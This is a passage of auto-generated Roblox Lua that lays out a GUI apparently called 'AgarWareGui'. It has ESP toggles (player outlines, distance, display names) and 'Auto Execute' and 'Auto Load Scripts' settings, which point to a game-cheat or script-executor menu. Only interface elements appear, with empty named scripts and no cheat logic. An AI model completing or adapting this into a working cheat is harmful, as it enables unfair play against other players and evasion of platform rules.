G2L["87"]["Name"] = [[ESPNameText]];
G2L["87"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow
G2L["88"] = Instance.new("Frame", G2L["7e"]);
G2L["88"]["BorderSizePixel"] = 0;
G2L["88"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["88"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["88"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["88"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["88"]["Name"] = [[ESPMaxDistRow]];
G2L["88"]["LayoutOrder"] = 2;
G2L["88"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDistScript
G2L["89"] = Instance.new("LocalScript", G2L["88"]);
G2L["89"]["Name"] = [[ESPMaxDistScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDistTickBox
G2L["8a"] = Instance.new("TextButton", G2L["88"]);
G2L["8a"]["TextSize"] = 14;
G2L["8a"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["8a"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["8a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["8a"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["8a"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["8a"]["Text"] = [[?]];
G2L["8a"]["Name"] = [[ESPMaxDistTickBox]];
G2L["8a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDIstText
G2L["8b"] = Instance.new("TextLabel", G2L["88"]);
G2L["8b"]["BorderSizePixel"] = 0;
G2L["8b"]["TextSize"] = 14;
G2L["8b"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["8b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8b"]["BackgroundTransparency"] = 1;
G2L["8b"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["8b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8b"]["Text"] = [[Max Dist]];
G2L["8b"]["Name"] = [[ESPMaxDIstText]];
G2L["8b"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDistChanger
G2L["8c"] = Instance.new("TextBox", G2L["88"]);
G2L["8c"]["Name"] = [[ESPMaxDistChanger]];
G2L["8c"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["8c"]["TextWrapped"] = true;
G2L["8c"]["TextSize"] = 14;
G2L["8c"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["8c"]["TextScaled"] = true;
G2L["8c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8c"]["ClearTextOnFocus"] = false;
G2L["8c"]["PlaceholderText"] = [[(1000)]];
G2L["8c"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["8c"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["8c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["8c"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow
G2L["8d"] = Instance.new("Frame", G2L["7e"]);
G2L["8d"]["BorderSizePixel"] = 0;
G2L["8d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8d"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["8d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["8d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8d"]["Name"] = [[ESPDistanceRow]];
G2L["8d"]["LayoutOrder"] = 2;
G2L["8d"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow.ESPDistanceScript
G2L["8e"] = Instance.new("LocalScript", G2L["8d"]);
G2L["8e"]["Name"] = [[ESPDistanceScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow.ESPDistanceTickBox
G2L["8f"] = Instance.new("TextButton", G2L["8d"]);
G2L["8f"]["TextSize"] = 14;
G2L["8f"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["8f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["8f"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["8f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["8f"]["Text"] = [[]];
G2L["8f"]["Name"] = [[ESPDistanceTickBox]];
G2L["8f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPDistanceRow.ESPDistanceText
G2L["90"] = Instance.new("TextLabel", G2L["8d"]);
G2L["90"]["BorderSizePixel"] = 0;
G2L["90"]["TextSize"] = 14;
G2L["90"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["90"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["90"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["90"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["90"]["BackgroundTransparency"] = 1;
G2L["90"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["90"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["90"]["Text"] = [[Distance Label]];
G2L["90"]["Name"] = [[ESPDistanceText]];
G2L["90"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow
G2L["91"] = Instance.new("Frame", G2L["7e"]);
G2L["91"]["BorderSizePixel"] = 0;
G2L["91"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["91"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["91"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["91"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["91"]["Name"] = [[ESPOutlineRow]];
G2L["91"]["LayoutOrder"] = 2;
G2L["91"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow.ESPOutlineScript
G2L["92"] = Instance.new("LocalScript", G2L["91"]);
G2L["92"]["Name"] = [[ESPOutlineScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow.ESPOutlineTickBox
G2L["93"] = Instance.new("TextButton", G2L["91"]);
G2L["93"]["TextSize"] = 14;
G2L["93"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["93"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["93"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["93"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["93"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["93"]["Text"] = [[]];
G2L["93"]["Name"] = [[ESPOutlineTickBox]];
G2L["93"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPOutlineRow.ESPOutlineText
G2L["94"] = Instance.new("TextLabel", G2L["91"]);
G2L["94"]["BorderSizePixel"] = 0;
G2L["94"]["TextSize"] = 14;
G2L["94"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["94"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["94"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["94"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["94"]["BackgroundTransparency"] = 1;
G2L["94"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["94"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["94"]["Text"] = [[Player Outline]];
G2L["94"]["Name"] = [[ESPOutlineText]];
G2L["94"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide
G2L["95"] = Instance.new("Frame", G2L["7b"]);
G2L["95"]["BorderSizePixel"] = 0;
G2L["95"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["95"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["95"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["95"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["95"]["Name"] = [[VisualRightSide]];
G2L["95"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.UIListLayout
G2L["96"] = Instance.new("UIListLayout", G2L["95"]);
G2L["96"]["Padding"] = UDim.new(0, 7);
G2L["96"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup
G2L["97"] = Instance.new("Frame", G2L["95"]);
G2L["97"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["97"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["97"]["Size"] = UDim2.new(0, 170, 0, 65);
G2L["97"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["97"]["Name"] = [[ESPSGroup]];
G2L["97"]["LayoutOrder"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSScript
G2L["98"] = Instance.new("LocalScript", G2L["97"]);
G2L["98"]["Name"] = [[ESPSScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.UIListLayout
G2L["99"] = Instance.new("UIListLayout", G2L["97"]);
G2L["99"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSAccentColor
G2L["9a"] = Instance.new("Frame", G2L["97"]);
G2L["9a"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["9a"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["9a"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["9a"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["9a"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["9a"]["Name"] = [[ESPSAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSTitle
G2L["9b"] = Instance.new("TextLabel", G2L["97"]);
G2L["9b"]["TextWrapped"] = true;
G2L["9b"]["BorderSizePixel"] = 0;
G2L["9b"]["TextSize"] = 14;
G2L["9b"]["TextScaled"] = true;
G2L["9b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9b"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["9b"]["BackgroundTransparency"] = 0.95;
G2L["9b"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["9b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9b"]["Text"] = [[ESP Settings]];
G2L["9b"]["LayoutOrder"] = 1;
G2L["9b"]["Name"] = [[ESPSTitle]];
G2L["9b"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPSTitle.ESPSMinimize
G2L["9c"] = Instance.new("TextButton", G2L["9b"]);
G2L["9c"]["BorderSizePixel"] = 0;
G2L["9c"]["TextSize"] = 14;
G2L["9c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9c"]["BackgroundTransparency"] = 1;
G2L["9c"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["9c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9c"]["Text"] = [[-]];
G2L["9c"]["Name"] = [[ESPSMinimize]];
G2L["9c"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow
G2L["9d"] = Instance.new("Frame", G2L["97"]);
G2L["9d"]["BorderSizePixel"] = 0;
G2L["9d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9d"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["9d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["9d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9d"]["Name"] = [[ESPEnableRow]];
G2L["9d"]["LayoutOrder"] = 3;
G2L["9d"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow.ESPEnableScript
G2L["9e"] = Instance.new("LocalScript", G2L["9d"]);
G2L["9e"]["Name"] = [[ESPEnableScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow.ESPEnableTickBox
G2L["9f"] = Instance.new("TextButton", G2L["9d"]);
G2L["9f"]["TextSize"] = 14;
G2L["9f"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9f"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["9f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["9f"]["Text"] = [[]];
G2L["9f"]["Name"] = [[ESPEnableTickBox]];
G2L["9f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPEnableRow.ESPEnableText
G2L["a0"] = Instance.new("TextLabel", G2L["9d"]);
G2L["a0"]["BorderSizePixel"] = 0;
G2L["a0"]["TextSize"] = 14;
G2L["a0"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["a0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a0"]["BackgroundTransparency"] = 1;
G2L["a0"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["a0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a0"]["Text"] = [[Enable ESP]];
G2L["a0"]["Name"] = [[ESPEnableText]];
G2L["a0"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow
G2L["a1"] = Instance.new("Frame", G2L["97"]);
G2L["a1"]["BorderSizePixel"] = 0;
G2L["a1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a1"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["a1"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["a1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a1"]["Name"] = [[ESPUserRow]];
G2L["a1"]["LayoutOrder"] = 3;
G2L["a1"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow.ESPUserScript
G2L["a2"] = Instance.new("LocalScript", G2L["a1"]);
G2L["a2"]["Name"] = [[ESPUserScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow.ESPUserTickBox
G2L["a3"] = Instance.new("TextButton", G2L["a1"]);
G2L["a3"]["TextSize"] = 14;
G2L["a3"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a3"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["a3"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["a3"]["Text"] = [[]];
G2L["a3"]["Name"] = [[ESPUserTickBox]];
G2L["a3"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualRightSide.ESPSGroup.ESPUserRow.ESPUserText
G2L["a4"] = Instance.new("TextLabel", G2L["a1"]);
G2L["a4"]["BorderSizePixel"] = 0;
G2L["a4"]["TextSize"] = 14;
G2L["a4"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["a4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["a4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["a4"]["BackgroundTransparency"] = 1;
G2L["a4"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["a4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a4"]["Text"] = [[Show Display Names]];
G2L["a4"]["Name"] = [[ESPUserText]];
G2L["a4"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage
G2L["a5"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["a5"]["Visible"] = false;
G2L["a5"]["Active"] = true;
G2L["a5"]["BorderSizePixel"] = 0;
G2L["a5"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0);
G2L["a5"]["Name"] = [[SettingsPage]];
G2L["a5"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["a5"]["Size"] = UDim2.new(0, 349, 0, 250);
G2L["a5"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a5"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0);
G2L["a5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a5"]["ScrollBarThickness"] = 0;
G2L["a5"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide
G2L["a6"] = Instance.new("Frame", G2L["a5"]);
G2L["a6"]["BorderSizePixel"] = 0;
G2L["a6"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["a6"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["a6"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["a6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["a6"]["Name"] = [[SettingsLeftSide]];
G2L["a6"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.UIListLayout
G2L["a7"] = Instance.new("UIListLayout", G2L["a6"]);
G2L["a7"]["Padding"] = UDim.new(0, 7);
G2L["a7"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup
G2L["a8"] = Instance.new("Frame", G2L["a6"]);
G2L["a8"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["a8"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["a8"]["Size"] = UDim2.new(0, 170, 0, 65);
G2L["a8"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["a8"]["Name"] = [[MainSettingsGroup]];
G2L["a8"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsScript
G2L["a9"] = Instance.new("LocalScript", G2L["a8"]);
G2L["a9"]["Name"] = [[MainSettingsScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsTooltip
G2L["aa"] = Instance.new("LocalScript", G2L["a8"]);
G2L["aa"]["Name"] = [[MainSettingsTooltip]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.UIListLayout
G2L["ab"] = Instance.new("UIListLayout", G2L["a8"]);
G2L["ab"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsAccentColor
G2L["ac"] = Instance.new("Frame", G2L["a8"]);
G2L["ac"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["ac"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["ac"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["ac"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["ac"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["ac"]["Name"] = [[MainSettingsAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsTitle
G2L["ad"] = Instance.new("TextLabel", G2L["a8"]);
G2L["ad"]["TextWrapped"] = true;
G2L["ad"]["BorderSizePixel"] = 0;
G2L["ad"]["TextSize"] = 14;
G2L["ad"]["TextScaled"] = true;
G2L["ad"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ad"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ad"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["ad"]["BackgroundTransparency"] = 0.95;
G2L["ad"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["ad"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ad"]["Text"] = [[Main Settings]];
G2L["ad"]["LayoutOrder"] = 1;
G2L["ad"]["Name"] = [[MainSettingsTitle]];
G2L["ad"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.MainSettingsTitle.MainSettingsMinimize
G2L["ae"] = Instance.new("TextButton", G2L["ad"]);
G2L["ae"]["BorderSizePixel"] = 0;
G2L["ae"]["TextSize"] = 14;
G2L["ae"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ae"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ae"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ae"]["BackgroundTransparency"] = 1;
G2L["ae"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["ae"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ae"]["Text"] = [[-]];
G2L["ae"]["Name"] = [[MainSettingsMinimize]];
G2L["ae"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow
G2L["af"] = Instance.new("Frame", G2L["a8"]);
G2L["af"]["BorderSizePixel"] = 0;
G2L["af"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["af"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["af"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["af"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["af"]["Name"] = [[SaveScriptsRow]];
G2L["af"]["LayoutOrder"] = 3;
G2L["af"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow.SaveScriptsScript
G2L["b0"] = Instance.new("LocalScript", G2L["af"]);
G2L["b0"]["Name"] = [[SaveScriptsScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow.SaveScriptsTickBox
G2L["b1"] = Instance.new("TextButton", G2L["af"]);
G2L["b1"]["TextSize"] = 14;
G2L["b1"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b1"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["b1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["b1"]["Text"] = [[]];
G2L["b1"]["Name"] = [[SaveScriptsTickBox]];
G2L["b1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.SaveScriptsRow.SaveScriptsText
G2L["b2"] = Instance.new("TextLabel", G2L["af"]);
G2L["b2"]["BorderSizePixel"] = 0;
G2L["b2"]["TextSize"] = 14;
G2L["b2"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["b2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b2"]["BackgroundTransparency"] = 1;
G2L["b2"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["b2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b2"]["Text"] = [[Auto Load Scripts]];
G2L["b2"]["Name"] = [[SaveScriptsText]];
G2L["b2"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow
G2L["b3"] = Instance.new("Frame", G2L["a8"]);
G2L["b3"]["BorderSizePixel"] = 0;
G2L["b3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b3"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["b3"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["b3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b3"]["Name"] = [[AutoExecuteRow]];
G2L["b3"]["LayoutOrder"] = 3;
G2L["b3"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow.AutoExecuteScript
G2L["b4"] = Instance.new("LocalScript", G2L["b3"]);
G2L["b4"]["Name"] = [[AutoExecuteScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.SettingsPage.SettingsLeftSide.MainSettingsGroup.AutoExecuteRow.AutoExecuteTickBox
G2L["b5"] = Instance.new("TextButton", G2L["b3"]);
G2L["b5"]["TextSize"] = 14;
G2L["b5"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b5"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["b5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["b5"]["Text"] = [[]];
G2L["b5"]["Name"] = [[AutoExecuteTickBox]];
G2L["b5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


